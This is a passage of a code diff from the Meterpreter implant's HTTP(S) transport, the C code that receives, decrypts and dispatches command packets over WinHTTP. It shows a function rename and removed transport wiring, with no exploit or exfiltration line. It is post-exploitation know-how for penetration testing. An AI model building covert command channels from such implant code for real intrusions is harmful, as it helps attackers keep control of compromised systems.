memset(localPacket, 0, sizeof(Packet));
|
||||
|
||||
// If the connection has an established cipher and this packet is not
|
||||
// plaintext, decrypt
|
||||
if ((crypto = remote_get_cipher(remote)) &&
|
||||
(packet_get_type(localPacket) != PACKET_TLV_TYPE_PLAIN_REQUEST) &&
|
||||
(packet_get_type(localPacket) != PACKET_TLV_TYPE_PLAIN_RESPONSE))
|
||||
{
|
||||
ULONG origPayloadLength = payloadLength;
|
||||
PUCHAR origPayload = payload;
|
||||
|
||||
// Decrypt
|
||||
if ((res = crypto->handlers.decrypt(crypto, payload, payloadLength, &payload, &payloadLength)) != ERROR_SUCCESS)
|
||||
{
|
||||
SetLastError(res);
|
||||
break;
|
||||
}
|
||||
|
||||
// We no longer need the encrypted payload
|
||||
free(origPayload);
|
||||
}
|
||||
|
||||
localPacket->header.length = header.length;
|
||||
localPacket->header.type = header.type;
|
||||
localPacket->payload = payload;
|
||||
localPacket->payloadLength = payloadLength;
|
||||
|
||||
*packet = localPacket;
|
||||
|
||||
SetLastError(ERROR_SUCCESS);
|
||||
|
||||
} while (0);
|
||||
|
||||
res = GetLastError();
|
||||
|
||||
// Cleanup on failure
|
||||
if (res != ERROR_SUCCESS)
|
||||
{
|
||||
if (payload)
|
||||
{
|
||||
free(payload);
|
||||
}
|
||||
if (localPacket)
|
||||
{
|
||||
free(localPacket);
|
||||
}
|
||||
}
|
||||
|
||||
if (hReq)
|
||||
{
|
||||
WinHttpCloseHandle(hReq);
|
||||
}
|
||||
|
||||
lock_release(remote->lock);
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
|
||||
/*!
|
||||
* @brief Initialise the HTTP(S) connection.
|
||||
* @param remote Pointer to the remote instance with the HTTP(S) transport details wired in.
|
||||
@ -144,7 +596,7 @@ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread)
|
||||
}
|
||||
|
||||
dprintf("[DISPATCH] Reading data from the remote side...");
|
||||
result = packet_receive_via_http(remote, &packet);
|
||||
result = packet_receive_http_via_winhttp(remote, &packet);
|
||||
if (result != ERROR_SUCCESS)
|
||||
{
|
||||
// Update the timestamp for empty replies
|
||||
@ -275,7 +727,6 @@ Transport* transport_create_http(BOOL ssl, wchar_t* url, wchar_t* ua, wchar_t* p
|
||||
|
||||
transport->type = ssl ? METERPRETER_TRANSPORT_HTTPS : METERPRETER_TRANSPORT_HTTP;
|
||||
transport->url = _wcsdup(url);
|
||||
transport->packet_receive = packet_receive_via_http;
|
||||
transport->packet_transmit = packet_transmit_via_http;
|
||||
transport->server_dispatch = server_dispatch_http;
|
||||
transport->transport_init = server_init_http;
|
||||
|
Loading…
Reference in New Issue
Block a user